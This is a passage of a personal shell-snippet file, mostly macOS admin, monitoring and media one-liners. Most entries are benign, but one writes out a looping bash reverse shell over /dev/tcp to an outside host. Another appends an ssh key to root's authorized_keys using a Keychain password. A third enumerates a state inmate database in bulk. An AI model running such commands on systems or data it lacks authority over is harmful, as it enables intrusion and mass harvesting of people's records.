command = "sudo pmset -c btlinger 1800l sudo pmset -c dwlinterval 40 ### when a sleeping laptop wakes up, how long to linger? darkwake default = 45, background task (bt) default = 1800"
output = ""
[[snippets]]
description = "macOS custom \"deny delete\" permissions Apple uses on their built in apps. All the normal rwx permissions say I have access but this custom one says I don't. Still not sure how to view it. Found in the 'setFileMetadata' install script for the Catlina Installer package 'Core.pkg'. Lots of cool stuff in their scripts."
command = "/bin/chmod +a 'everyone deny delete' /tmp/cant_be_deleted_but_is_owned_by_me"
output = ""
[[snippets]]
description = "test3"
command = "test3"
output = ""
[[snippets]]
description = "mdns/dns-sd: better but still very hacky mdns scanner! cool comparing to the last one from 2021 and seeing my shell-fu improve... or get hackier."
command = "WAIT_TIME=3; timeout --signal=SIGINT ${WAIT_TIME}s dns-sd -Q _services._dns-sd._udp.local PTR > /tmp/mdns_scan.tmp; for s in $(cat /tmp/mdns_scan.tmp | hck -f 8); do echo2 \"======= $s =======\"; timeout --signal=SIGINT ${WAIT_TIME}s dns-sd -Q $s ANY; done"
output = ""
[[snippets]]
description = "tshark/tcpdump listen on all interfaces: example of listening on all interfaces... exclude a few. Unlike the other example this doesn't rely on my personal shell utils."
command = "tshark -l $(for i in $(dumpcap -D | hck -f 2 | grep -E -v 'en0|lo0' ) ; do echo \"-i $i\"; done)"
output = ""
[[snippets]]
description = "chmod has many more permissions than i knew existed! Just go read chmod(1)... this just gives you a taste."
command = "##chmod +a \"rilka allow readextattr,writeextattr,readattr\" file1; ls -le file1; #### chmod '=a#' 1 \"admin allow write,chown\" ..... 'admin inherited allow write-security' 'add_subdirectory' ### SEE MAN CHMOD(1)"
output = ""
[[snippets]]
description = "add a new path to $PATH by making use of paths.d. Needs to be put in by root."
command = "sudo sh -c \"echo '/Users/chris/Dropbox/.bin' > /private/etc/paths.d/DropboxBin\""
output = ""
[[snippets]]
description = "Apple support docs: look for newly created ones. They're semi-sequential"
command = "for i in {213530..213730} ; do curl -I --output /dev/null -o /dev/null -s -w \"=========%{url_effective}: %{http_code}==========\\n\" https://support.apple.com/en-us/HT${i} ; done"
output = ""
[[snippets]]
description = "Apple support docs: look for newly created ones. They're semi-sequential.... BETTER version of the above! uses curl's native globbing. Which can be confusing'"
command = "curl -I --output /dev/null -o /dev/null -s -w \"=========%{url_effective}: %{http_code}==========\\n\" \"https://support.apple.com/en-us/HT2135[12-30]\""
output = ""
[[snippets]]
description = "kill all sleep processes that are descendants of iTerm, or tmux. Hacky"
command = "### kill $(ptree iTerm | g -o \"\\d+ $USER sleep\" | hck -d -f 1 | sd '^0+' ''); kill $(ptree $(pgrep tmux | sort -n | head -1) | g -o \"\\d+ $USER sleep\" | hck -d -f 1 | sd '^0+' '')"
output = ""
[[snippets]]
description = "compress a .png in place: seemingly better than pngcrush. Be careful with 'strip'"
command = "f='Pasted image 20220202224008.png'; pngquant --force -v -v --speed 1 --quality=85-95 --skip-if-larger --strip --output \"$f\" \"$f\""
output = ""
[[snippets]]
description = "AssetCache debugging/reverse engineering tools: decode the bespoke undocumented \"signed plist\" format used on \"http://suconfig.apple.com/resource/registration/v1/config.plist\" and \"http://suconfig.apple.com/resource/registration/v1/denylist.plist\""
command = "asset-cache-tool print-local-cache-path; asset-cache-tool -h; dart /Users/chris/Dropbox/workspace-defiant/github-misc/AppleCache/server/download-config.dart ### https://github.com/azenla/AppleCache"
output = ""
[[snippets]]
description = "macOS futzing: find non-binary tooling builtin to macOS. Pretty interesting looking through the Python, Perl, and shellcode. The binaries would be interesting too if they could be read as easily and were full of comments...alas"
command = "sudo fd -t executable --exec-batch $(which -p file) /usr/libexec | g -v 'universal binary' 'directory$'"
output = ""
[[snippets]]
description = "fix dates on folders/shell-fu: For a list a folders with incorrect dates (from Finder previewing them), correct the dates by looking at the date of the first file inside the folder, and then use gtouch to assign that date to the folder itself."
command = "for f in $DIRS_TO_FIX; do REAL_DATE=\"$(gstat \"$f\"/*([1]) | g modif | g -o '\\d+\\-\\d\\d\\-\\d\\d \\d\\d:\\d\\d:\\d\\d')\" ; gtouch -d \"$REAL_DATE\" \"$f\" ; done"
output = ""
[[snippets]]
description = "find unique lines only using awk and preserve the original order! Unlike 'uniq' doesn't require sorting, unlike 'sort -u', doesn't change order. Downside is it requires everything in memory... which was hard when these shell tools were written, but trivial for most situations now."
command = "... | awk '!seen[$0]++'"
output = ""
[[snippets]]
description = "mpv/iina debugging: Keep opening MPV when quite, for testing mpv.conf stuff, and always place it on the middle right half of the screen at 50% screen width"
command = "while true; do mpv_open_last --geometry='50%+100%+50%' ; sleep 0.3; done"
output = ""
[[snippets]]
description = "geolocate current IP using onetrust's endpoint"
command = "curl https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location | sd '^jsonFeed\\(' '' | sd '\\);$' '' | jq"
output = ""
[[snippets]]
description = "macOS save RAM/Memory by restarting a bunch of Apple built in daemons: After a long uptime these seems to bloat themselves with RAM. You can tell the memory is inactive because it gets compressed."
command = "launchctl kickstart -kp gui/502/com.apple.notificationcenterui.agent; sudo launchctl kickstart -kp system/com.apple.metadata.mds.index; sudo launchctl kickstart -kp system/com.apple.logd; launchctl kickstart -kp gui/502/com.apple.iconservices.iconservicesagent; launchctl kickstart -kp gui/502/com.apple.ReportCrash; launchctl kickstart -kp gui/502/com.apple.suggestd; launchctl kickstart -kp gui/502/com.apple.accountsd; ### maybe not this one ssince all the RAM usage comes back: launchctl kickstart -kp gui/502/com.apple.soagent;"
output = ""
[[snippets]]
description = "get weather via cURL on the CLI"
command = "curl 'wttr.in/San+Francisco?2' ### curl 'wttr.in?0ATQF' ## see: https://github.com/chubin/wttr.in"
output = ""
[[snippets]]
description = "srt/subtitle/chinese: convert chinese character subtitle to pinyin, or append the pinyin, also normalize simplified vs traditional"
command = "srt_subtitles_append_pinyin.py --help"
output = ""
[[snippets]]
description = "mac SMC/temperature: get SMC/temp readings using native diagnostic toolonly"
command = "/usr/libexec/smcDiagnose | grep '^T... '"
output = ""
[[snippets]]
description = "chflags: use this ls param to include the chflags on files."
command = "\\ls -leO ### list 'chflags' on files"
output = ""
[[snippets]]
description = "chflags: Search for files with 'chflags' set on them. Very hacky... but this seems to he a common way."
command = "fd -d 2 -0 | gparallel -0 -s 100000 -j 6 ls -dlOe | g \"\\s($(join_by \"|\" arch opaque nodump sappnd schg uappnd uchg hidden))\\s\"; ### much faster verion but no full path: fd -t d -d 2 -0 | gparallel -0 -s 100000 -j 6 ls -lOe | g \"\\s($(join_by \"|\" arch opaque nodump sappnd schg uappnd uchg hidden))\\s\""
output = ""
[[snippets]]
description = "ffmpeg/webvtt/vtt conversion: ffmpeg has a known bug that it barfs on a vtt file using \"STYLE\". This just removes the styling as passes the removed content as file descriptor to ffmpeg."
command = "./ffmpeg -i <(cat styled-subs.vtt | sd -f igm '^STYLE\\n::cue \\{[^}]*\\}' '') -f srt - | less ### Removes ::cue STYLE from .vtt subs to make ffmpeg work. See: https://trac.ffmpeg.org/ticket/8684"
output = ""
[[snippets]]
description = "wetv/youtube-dl/yt-dlp: download .srt subtitle file only, in original .srt format, from a particular place. Assuming they offer .srt subs. In my case, the subs from wetv.vip"
command = "yt --verbose --skip-download --sub-format srt --write-sub --sub-lang \"zh-cn\" --ignore-config --output \"%(title)s [%(id)s-%(format_id)s].%(ext)s\" -k --no-check-certificate https://wetv........"
output = ""
[[snippets]]
description = "use supraudit like praudit to view a log from the audit pipe. For antivirus stuff. Shows all system activity. AMAZINGH"
command = "sudo supraudit -C -S /dev/auditpipe ## see http://www.newosxbook.com/tools/supraudit.html"
output = ""
[[snippets]]
description = "macOS T2 security chip communicator"
command = "/usr/libexec/remotectl browse; /usr/libexec/remotectl help; /usr/libexec/remotectl list; ### macOS T2 security chip communicator"
output = ""
[[snippets]]
description = "macOS: look up policy/QoS limitations on a process. Then change them with taskpolicy"
command = "sudo /usr/bin/taskinfo taskinfo"
output = ""
[[snippets]]
description = "apple/apple id fun: search my log for my apple account's numeric ID. Interesting seeing on all the surprisingly places it appears in"
command = "log show --last \"6h\" --info --predicate \"message Contains[c] '$APPLE_ACCOUNT_ID'\" ### search my log for my apple account's numeric ID. Interesting seeing on all the surprisingly places it appears in"
output = ""
[[snippets]]
description = "find memory leaks using a built in apple util: ALSO, this has a great CLI 'gui' for seleciton a process.. as in, pid, exact name, partial name, and if ambigious it prompts for selection instead of silenting ignoring, erroring, or selecting all patches processes."
command = "sudo leaks32 Chrome ## good example of a CLI gui for selecting a processor"
output = ""
[[snippets]]
description = "dump duplicate strings from a process. Should also find a way to just dump all the strings duplicates or not."
command = "/Applications/Xcode.app/Contents/Developer/usr/bin/stringdups soagent # dump string from process.. or all strings with -minimumCount=1 "
output = ""
[[snippets]]
description = "macOS monitor+log all new processes executions/forks/kill. Like 'ProcessMonitor' but using the much old \"auditlog\" API (written by McAffee under contract from Apple)"
command = "sudo supraudit -C -S /dev/auditpipe -F proc | g -v 'com.github.Electron.helper\\(UBF8T346G9'"
output = ""
[[snippets]]
description = "rclone mount cache read speed: speed up rclone mount cache reads big time with these under-documented flags from https://forum.rclone.org/t/rclone-cache-speed-test-with-disk-speed-test-by-blackmagic/22965/26"
command = "rclone mount -o blocksize=1048576 --async-read=false .... ## speed up rclone mount cache reads big time with these under-documented flags from https://forum.rclone.org/t/rclone-cache-speed-test-with-disk-speed-test-by-blackmagic/22965/26"
output = ""
[[snippets]]
description = "shell-fu: get 10 largest files in current directory, recurisvely using just zsh expansions"
command = "echo **/*(.OL[1,10]) ### 10 largest files in current directory, recurisvely using just zsh expansions"
output = ""
[[snippets]]
description = "remove the first n bytes from a file for n 0 to 200, then check if the file now conforms to a known type"
command = "f='/Volumes/RAM Disk/Default/Cache/Cache_Data/8acf55b5517fe298_0'; for n in {0..200}; do tail -c +$((n+1)) $f > f.$n; done; file * | g -v ':\\s+data$' | g png ## iterate through a file with the first n bytes removed and check if its a known filetype"
output = ""
[[snippets]]
description = "remove the 10 largest files in Chrome's cache. Remove the 'echo' for the rm to actually do its thing."
command = "for f in /Users/chris/Library/Caches/Google/Chrome/**/*(.OL[1,10]) ; do ls -la $f; echo rm -v $f ; done # remove the 10 largest files in Chrome's cache. Remove the 'echo' for the rm to actually do its thing."
output = ""
[[snippets]]
description = "signal images backup: Select the more desirable seeming signal images and copy them over."
command = "cp -c $(fd -t f --size='+100k' . ~/Library/ApplicationSupport/Signal/attachments.noindex --exec-batch file | g 'PNG ' 'JPEG ' 'GIF ' | g -v '150 x 150' ' 32 x 32' ' 16 x 16' | hck -d ':' -f 1 ) /tmp/signal_images_backup; ## signal back up attachments"
output = ""
[[snippets]]
description = "iMessage/Messages backup+copy certain selected images. Similar to the signal snippet. cp -c can be used for temporary selection and perusual since it's O(1) time and no additional space."
command = "ifsNL; cp -c $(fd -t f -e heic -e jpeg -e png -e jpg -e gif --size='+100k' --size='-50m' --changed-within=52w . /Users/chris/Library/Messages/Attachments ) /private/tmp/imessage_images/ ### backup iMessage attachments/images"
output = ""
[[snippets]]
description = "airport wifi scan with detailed output. Raw output is an xml plist, with binary values, by the handy plist2json.py utility converts that to JSON for easier reading. (unlike 'plutil -convert json' which barfs on binary values)"
command = "sudo airport --xml --scan | plist2json.py| jq -C | less"
output = ""
[[snippets]]
description = "alias dateParse=\"python3 -c \\\"import dateutil.parser, sys; print(dateutil.parser.parse(sys.argv[1] if sys.stdin.isatty() else sys.stdin).strftime('%Y-%m-%d'))\\\"\""
command = "parse freeform date using python dateutil.parse. Accept input as arg or stdin"
output = ""
[[snippets]]
description = "macos pruadit: monitor new process or monitor files. Uses praudit but with the very handy 'auditpipe' util from knox. See https://github.com/kastiglione/knox"
command = "auditpipe pc,fc | praudit -l ### see https://github.com/kastiglione/knox"
output = ""
[[snippets]]
description = "monitor/log new process execution using praudit and then jankily parse out some useful results. NOTE: Multiple paths happen when paths are symlinked. You get the original and all steps in the symlink resolution."
command = "sudo auditpipe ex | praudit -l | g -o 'exec arg,.*' | g -o '.*,path,'"
output = ""
[[snippets]]
description = "yt-dlp/youtube-dl: Get a channels videos sorted by popularity despite youtube's redesign. Relies on getting a \"secret\" popularity playlist. Must get the channel ID to make it work"
command = "yt -f \"bestvideo[height<=?1080][vbr<=?15000][tbr<=?15000][vcodec!=?vp9]+bestaudio[abr<=?200k][acodec!=?opus]/best[height<=?1080][vbr<=?15000][tbr<=?15000]\" --continue --playlist-items \"1-5\" https://www.youtube.com/playlist\\?list\\=PUy0tKL1T7wFoYcxCe0xjN6Q\\&playnext=1 ## use this hack to sort by popularity! 'https://www.youtube.com/playlist?list=PU%3Cchannel%20id%20without%20UC%3E&playnext=1'"
output = ""
[[snippets]]
description = "rclone: mount my ipad WITH FAST CACHE READING! Works best when tethered"
command = "title '! IPAD_MOUNT'; mkdir /tmp/ipad_mount; rclone mount -o blocksize=1048576 --async-read=false -v --rc --rc-addr='127.0.0.1:5573' --rc-no-auth --vfs-read-ahead=20M --vfs-cache-mode full --vfs-read-chunk-size=20M --vfs-read-chunk-size-limit=2000M --vfs-cache-max-age=24h --vfs-cache-max-size=2G --volname ipad_mount --fast-list --dir-cache-time 168h --checkers 10 ipad:/ /tmp/ipad_mount"
output = ""
[[snippets]]
description = "ffmpeg hls live streaming screen capture: Semi-low latency screen capture HLS live streaming, relying on my existing local twisted HTTP server. Could be tweaked/improved. Weird that quicktime doesn't work if the -g (GoP) size isn't an even interval of the hls segment duration"
command = "ffmpeg -re -f avfoundation -framerate 30 -video_size \"1920x1080\" -pixel_format nv12 -i \"Capture screen 0\" -r 30 -vf \"scale=-2:1080\" -c:v h264_videotoolbox -b:v 5M -preset ultrafast -analyzeduration 0 -probesize 320 -flush_packets 1 -fflags nobuffer -flags low_delay -muxdelay 0.1 -hls_init_time 0.3 -hls_time 0.5 -g 10 -hls_delete_threshold 10 -hls_flags delete_segments+independent_segments -hls_list_size 3 /Users/chris/Downloads/media/iina_last_played/live_stream/playlist2.m3u8 ### play at 'http://localhost:8080/playlist2.m3u8'"
output = ""
[[snippets]]
description = "compress a jpeg. Use -m100 to get some size reduction with no quality loss"
command = "jpegoptim -m80 file.jpg"
output = ""
[[snippets]]
description = "zsh/shell-fu: zsh expansion/glob to show the most recently modified file matching the glob (.json)"
command = "echo *.json(.om[1]) ; ## **/*(.om[1]) # <--- recursively ## zsh expansion/glob to show the most recently modified file matching the glob (.json)"
output = ""
[[snippets]]
description = "openai cli usage (a bit underdocumented)"
command = "openai api chat_completions.create -m 'gpt-3.5-turbo' -g \"system\" \"You are a helpful and verbose assistant\" -g \"user\" \"what is the capital of Kansas?\""
output = ""
[[snippets]]
description = "zsh/shell-fu negation/exclusion/exclude glob: Matches everything doesn't end with .input, including files with no extension. And files only (D)"
command = "echo ^*.input*(D); ### <--- matches everything that's a (D) (file) that doesn't end with .input. Include files with no extensions. Another example:\n du -d 0 -h /Volumes/Isolinear/Backups.backupdb/Yorktown/^Latest/Macintosh\\ HD/Users/chris/Applications ### zsh glob EXCLUSION/NEGATE"
output = ""
[[snippets]]
description = "shell-fu/file monitoring/filemon: grep against filemon output while preserving colorization. Relies on the preset $__GREP_TERM_COLORS variable which is just: $'\\033\\[[0-9;]*[mK]'"
command = "sudo gstdbuf -oL -eL filemon -c -f crash -f Crash -f DiagnosticReports -f diagnostic | g -v \"\\.tracev3($__GREP_TERM_COLORS)?\\s*\\$\" ## grep against filemon output while preserving colorization"
output = ""
[[snippets]]
description = "run `launchctl plist <binary>` on every process"
command = "for p in $(pg . | stripColors | g -o '/[^ ]*$') ; do echo \"========$p========\"; launchctl plist \"$p\"; done 2>&1 | less ## run `launchctl plist <binary>` on every process"
output = ""
[[snippets]]
description = "screenshot compression exploration/testing"
command = "screencapture -o -l$(/opt/homebrew_alt/bin/GetWindowID \"$(macFrontApp)\" --list | g -v '^(\"\"|\"\\(null|\"Colors\")' | head -1 | g -o '\\d+$' ) testo.png; cat testo.png| pv -W -F \"${NL}total size og: %b\" | convert - -resize '5120x2880>' -filter RobidouxSharp -quality '100%' PNG:- | pv -W -F \"${NL}total size convert: %b\" | pngquant -v --speed 1 --quality=70 - | pv -W -F \"${NL}total size jpegoptim: %b\" | ni -"
output = ""
[[snippets]]
description = "screenshot compression exploration/tweaking"
command = "F=\"$(pbpaste)\"; rlz; cat \"$F\" | pv -W -F \"${NL}total size og: %b\" | convert - -resize 'x1440>' -filter RobidouxSharp -quality '100%' JPEG:- | pv -W -F \"${NL}total size convert: %b\" | jpegoptim --stdout --size=400 - | pv -W -F \"${NL}total size jpegoptim: %b\" | ni -"
output = ""
[[snippets]]
description = "use imagemagick to get a files dimensions"
command = "identify -format '%w %h %i' testo.png ## use imagemagick to get a files dimensions"
output = ""
[[snippets]]
description = "nettop specific processs: nettop's -p param is supposed to accept processes by name, and it sorta does, but it must be exactly and only matches against the first n characters!! Also its case sensitive. This lets us select processes more flexibly"
command = "sudo nettop -c -J interface,type,state,bytes_in,bytes_out,rx_dupe,re-tx,rtt_min,rtt_avg,rtt_var,rcvsize,tx_win $(prepend_by ' -p ' $(pgrep -i '(AMP|backup|mobile|usbmux|device)')) -p curl -p rclone ## nettop specific processes by name FLEXIBLY"
output = ""
[[snippets]]
description = "convert/ocr images of math to LaTeX! Relies on some \"AI\". Not a great CLI interface but it works. Enter 'x' to quit."
command = "pix2tex ## Press 'x' to quit. Copy image to clipboard and press enter to convert the image of LaTeX (works on math)"
output = ""
[[snippets]]
description = "mpv-play a photo album of many static image fiels. Present varies techniques, but the first, using 'mf://<glob>' is the best. Sadly relies on mpvs globbing."
command = "mpv --msg-level=all=status --mf-fps=5 'mf://*/*.JPG'; ### mpv --msg-level=all=status \"$(echo 'edl://day 1/IMG_8440.JPG;day 1/IMG_8442.JPG;day 1/IMG_8443.JPG;day 1/IMG_8444.JPG;day 1/IMG_8446.JPG;day 1/IMG_8447.JPG;day 1/IMG_8449.JPG;day 1/IMG_8450.JPG;day 1/IMG_8453.JPG;day 1/IMG_8457.JPG;day 2/IMG_8459.JPG;day 2/IMG_8460.JPG;day 2/IMG_8461.JPG;day 2/IMG_8462.JPG;day 2/IMG_8463.JPG;day 2/IMG_8464.JPG;day 2/IMG_8467.JPG;day 2/IMG_8468.JPG;day 2/IMG_8472.JPG;day 2/IMG_8475.JPG;day 2/IMG_8476.JPG;day 2/IMG_8477.JPG;day 2/IMG_8478.JPG;day 2/IMG_8479.JPG;day 2/IMG_8483.JPG;day 2/IMG_8484.JPG;day 2/IMG_8487.JPG;day 2/IMG_8488.JPG;day 2/IMG_8489.JPG;day 2/IMG_8490.JPG;' | sd ';' ',length=0.3;')\"; ; mpv --msg-level=all=status --mf-fps=5 --merge-files ./*/*"
output = ""
[[snippets]]
description = "## Street address API... with support for individual units!"
command = "curl \"$SMART_STREETS_URL1\" \"$SMART_STREETS_URL2\" -H 'origin: https://accounts-tax.intuit.com' | jq ### Street address API... with support for individual units!"
output = ""
[[snippets]]
description = "shell-fu/expand variable as glob. Matching folders only by negating 'F' (file match). Use $~VAR fo expansion, \t$= for word splitting, $=~ for both."
command = "GLOB_MATCHER=\"$(join_by '/' $(repeat 5 echo -n '* '))/*\"; echo $~GLOB_MATCHER; ls -d */*/*/*/*(/^F) #### test -n $~GLOB_MATCHER(N) && echo TRUEEE || echo fail"
output = ""
[[snippets]]
description = "openai/gpt/chatgpt: Get GPT to summarize a tv show. NOTE: this relies on many private utils to pull in the subtitle and episode information for the currently active media"
command = "open_ai.py -D3 -G \"Please write a detailed summary the events of this TV show based on its subtitles. Also comment on its themes and any relations to events contemporary to its airing. It is from the older TV Show '$(mpMediaName | sd '\\.S.*' '')', episode '$(mpMediaName | sd '^.*\\.S' 'S')'. It aired '$(mpDate \"$MPATH\")'. Note some subtitles are cut out, but the ending is included. Here are the subtitles: $(srtlab -t \"`mppsub`\" | head -400 | sd '<[^>]+>' '' )\\n\\n...\\n\\n$(srtlab -t \"`mppsub`\" | tail -1000 | sd '<[^>]+>' '' )\" ### get GPT to summarize a tv show"
output = ""
[[snippets]]
description = "Get GPT to summarize a tv show. Overly complicated shell crap to get the subtitles. Wish I had access to 32k token GPT-4 so I didn't have to cut any ;-)"
command = "SUB_PATH=\"$( sd '\\.COMBINED' '' <<<\"$(mppsub)\")\"; SUB_LINES=$(srtlab -t \"$SUB_PATH\" | g -v 'Support us and become' 'www.OpenSubtitles.org' | wc -l); SUBS_IN=$({ srtlab -t \"$SUB_PATH\" | g -v 'Support us and become' 'www.OpenSubtitles.org' | sd '<[^>]+>' '' | head -300; echo \"\\n\\n...\\n[[Subtitles cut]]\\n...\\n\"; srtlab -t \"$SUB_PATH\" | g -v 'Support us and become' 'www.OpenSubtitles.org' | sd '<[^>]+>' '' | tail -n $((int(min( min(SUB_LINES*0.50,1200),SUB_LINES-300)))) }); echo \"Tokens...\\n$(tokens.py <<<\"$SUBS_IN\")\"; ### ----> open_ai.py -D3 -G \"Please write a detailed summary the events of this TV show based on its subtitles. Be sure to summarize the conclusion of the episode. Also please comment on any relations between this episode and events contemporary to its airing in '$(mpDate \"$MPATH\")'. The subtitles are from the older TV Show '$(mpMediaName | sd '\\.S.*' '')', episode '$(mpMediaName | sd '^.*\\.S' 'S')'. It was originally aired '$(mpDate \"$MPATH\")'. NOTE: Some subtitles are cut out, but the beginning and ending are included. Here are the subtitles:\\n\\n$SUBS_IN\""
output = ""
[[snippets]]
description = "mpv screenshot viewer/photo album display: Display my personal screenshot/webcam logs IN ORDER using mpv. Requires my 'ni' mpv alias to disable all the scripts and config that slows things down. The sorting happens with '(.om[1,300])' and '^*_webcam.jpg' excludes webcam images. Remove '^' for only webcam images."
command = "ni --image-display-duration=0.1 \"$SCREENSHOT_STORAGE_ROOT/\"*/^*_webcam.jpg(.om[1,300]) ### Or just use '*_webcam.jpg' instead of '^*_webcam.jpg' to select ONLY webcam images"
output = ""
[[snippets]]
description = "shell-fu/uniq/live output: This works just like uniq but prints newly uniq lines live! Just like uniq it only counts consecutive duplicates. (unlike `... | awk '!seen[$0]++' `)"
command = "... | awk 'BEGIN { previous = \"\"; } { if ($0 != previous) print $0; previous = $0; }' ### like uniq but with LIVE output !"
output = ""
[[snippets]]
description = "shell-fu/zsh shell glob exclusion: Matches all *.srt files excluding *.COMBINED.srt files"
command = "ls *.srt~*.COMBINED.srt"
output = ""
[[snippets]]
description = "macOS/forensics: MacOS security/app policy info. Lists all executables on the system includingly, possibly, many past ones."
command = "sudo sqlite3 '/private/var/db/SystemPolicyConfiguration/ExecPolicy' .dump | less"
output = ""
[[snippets]]
description = "Render any font into an image. Discoverd on myfonts.com"
command = "curl https://sig.monotype.com/render/101/font/2ae079c0deafcf05c2eb28fb39833eb8\\?rt\\=When+I+first+met+your+father...\\&rs\\=200\\&fg\\=000000\\&bg\\=cfffcf\\&w\\=2500\\&ft\\= | \\mpv --no-config --pause -"
output = ""
[[snippets]]
description = "iterate through the NYC prisoner database. Only pass in 'clickNextDin' and the last value to get the next 10 results. Iterate through all results for all letters to get all inmates/former inmates"
command = "curl 'https://nysdoccslookup.doccs.ny.gov/IncarceratedPerson/SearchByName' -H 'Accept-Language: en-US,en-GB;q=0.9,en;q=0.8,de;q=0.7,en-XA;q=0.6,ar-XB;q=0.5,ar;q=0.4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36' -H 'content-type: application/json; charset=utf-8' --data-raw '{\"din\":null,\"nysid\":null,\"lastName\":\"L\",\"firstName\":\"\",\"middleInitial\":\"\",\"suffix\":\"\",\"birthYear\":\"\",\"userDisplayableMessage\":null,\"clickNextFlag\":\"\",\"clickNextDin\":\"\"}' --compressed | jq | head"
output = ""
[[snippets]]
description = "macs on the SMC apparently have a \"virtual\" ambient temperature sensors. Probably just an calculation based on the other sensors. This snippet gets the 'TA0V' value for it, converts to F, and plots with ttyplot"
command = "while true; do tempSMCF 'TA0V'; sleep 90; done | ttyplot -t \"Ambient Virtual\""
output = ""
[[snippets]]
description = "recursively covnerts all .pdf files to .txt files"
command = "for p in **/**.pdf ; do OUT=\"$p.chris.txt\"; [ -f \"$OUT\" ] && echo \"skipping $p\" && continue; pdf2txt \"$p\" > \"$OUT\" && echo \"success! converted '$p' to '$OUT'\" || echo \"FAILED on '$p'\\!\" sleep 0.3; done ### or use 'pdf2textChris' for my better version"
output = ""
[[snippets]]
description = "check out `ugrep`. It really is faster than all the other greps"
command = "ugrep ..."
output = ""
[[snippets]]
description = "tabfs example"
command = "cat /tmp/tabfs/tabs/by-title/NETGEAR*/window/tabs/*/url.txt | sort | uniq ## tabfs example"
output = ""
[[snippets]]
description = "exiftool: extract ALL file metadata on macOS, including xattr, and Spotlight/MDItem and embedded item metadata"
command = "exiftool -G0:1 -u -ee3 s -api RequestAll=3 [file] | sort | less # -ee3 (-extractEmbedded...level3?) is broken on old versions. This extracts ALL file metadata on macOS, including xattr, and MDItem info (Spotlight/mdls), embedded content metadata"
output = ""
[[snippets]]
description = "grep/shell-fu: extract quoted links only, without the quotes, using look ahead and look behind regexes only available in GNU grep with -P perl mode"
command = "pbpaste | ggrep -oP '(?<=\")https://.*(?=\")' | less ## extract links using look ahead and look behind regexes only available in GNU grep with -P perl mode"
output = ""
[[snippets]]
description = "macOS sleep/wake/standby/power/hibernate: Get log of macOS sleeps (standby/hiberate) and wakes and the causes. Not perfect. Now 3 different methods, first using system stats in the best!"
command = "systemstats --show-events --ago '72:00:00' | g sleepwake sleep wake; pmset -g log | grep -E \"\\s(Sleep|Wake)\\s{2,}\"; log show --last 12h --predicate 'process == \"kernel\" AND (message CONTAINS[c] \"system wake\" OR message CONTAINS[c] \"system sleep\" OR message CONTAINS[c] \"isWakingFromHibernate\")' --debug --info ########## with my log helpers: log show --last 12h --predicate 'process == \"kernel\" AND ('\"$(__logPredOr message \"system wake\" \"system sleep\" \"isWakingFromHibernate\")\"')' --debug --info;"
output = ""
[[snippets]]
description = "macos systemstats: Find HISTORICAL/RECENT processes using excessive CPU, disk, or general battery/fan/resource using. Amazing tool! You can tell Apple made it for themselves to diagnose problems. Which the interface was more powerful though. Sadly the it seems like the only JSON/structured output is in the concise mode that lacks per process details."
command = "sudo systemstats --ago '02:00:00' --dashboard --ranked-process-count 30 --ranked-summary-count 3 | less; systemstats --concise-dashboard pretty --ago '25:00:00'; systemstats --concise-dashboard json --ago '25:00:00' | jq; systemstats --show-events --ago '25:00:00' | grep -E '(sleep|wake)' | less; { repeat 5 echo \"this is a lot of events!\" ; systemstats --show-events --ago '72:00:00' } | less"
output = ""
[[snippets]]
description = "macOS misc debugging tools from: https://gist.github.com/sergiitk/a87207a8af11d6e6d807"
command = "lsappinfo; lpstat -t; otool -L /usr/libexec/FDERecoveryAgent; dscl . -readall /SharePoints ; dscacheutil -q host ; sudo iostat -w1 ; sysctl vm.swapusage; vm_stat 1"
output = ""
[[snippets]]
description = "fq: binary insector. see all strings! many more thigns too: https://github.com/wader/fq/blob/master/doc/usage.md"
command = "fq -C d /Applications/IINA.app/Contents/MacOS/IINA | less"
output = ""
[[snippets]]
description = "manual HTTP request over ssl/tls just like with telnet."
command = "{ printf 'GET / HTTP/1.1\\nHost: www.google.org\\n\\n'; sleep 1; printf 'GET /robots.txt HTTP/1.1\\nHost: www.google.org\\n\\n'; sleep 1; } | openssl s_client -connect www.google.com:443 ## making an HTTPS request like a manual telnet request"
output = ""
[[snippets]]
description = "reverse shell from shell on linux"
command = "### on server: wget https://github.com/djosix/rsm/raw/master/rsm ; chmod +x rsm; rsm 2001; ### on host/target: while true ; do bash -c 'bash -i >& /dev/tcp/joyo.xvm.mit.edu/2001 0<&1' || { echo \"FAILLL...sleeping extra\"; sleep 5; } ; sleep 0.5; done"
output = ""
[[snippets]]
description = "chrome devtools snippets: Manually extract your snippets from Chrome DevTools"
command = "cat '/Users/chris/Library/Application Support/Google/Chrome/Default/Preferences' | jq .devtools.preferences.scriptSnippets | jq '. | fromjson' ## https://stackoverflow.com/questions/19025718/which-file-does-snippets-of-chrome-dev-tool-saved-at"
output = ""
[[snippets]]
description = "ssh via password in macOS Keychain using sshpass then append my public key to the authorized keys on the remote server"
command = "sshpass -p \"$(security find-generic-password -l \"Monument-10.0.0.2\" -w)\" ssh root@10.0.0.2 \"echo \\\"$(cat ~/.ssh/id_rsa.pub)\\\" >> ~/.ssh/authorized_keys\" ## sshpass from Keychain and then add authorized_key to remote server"
output = ""
[[snippets]]
description = "ssh port forwarding/upnp via vpn: Run this on a REMOTE host to just turn port '8765' into a forwarding port to 383415... but now it appears as local traffic."
command = "ssh -g -L 8765:10.0.0.2:38415 localhost -vvv -N ### Run this on a REMOTE host to just turn port '8765' into a forwarding port to 383415... but now it appears as local traffic. Useful for UPNP futzing with UniFi."
output = ""
[[snippets]]
description = "ssh proxy/socks proxying: connect to 127.0.0.1:8989 or set 'all_proxy=socks5h://127.0.0.1:8989'"
command = "ssh -v -v -v -N -D 8989 root@10.0.0.2 ## turn 10.0.0.2 into your socks proxy. Connect to localhost:8989"
output = ""
[[snippets]]
description = "LexisNexus: List all of their products"
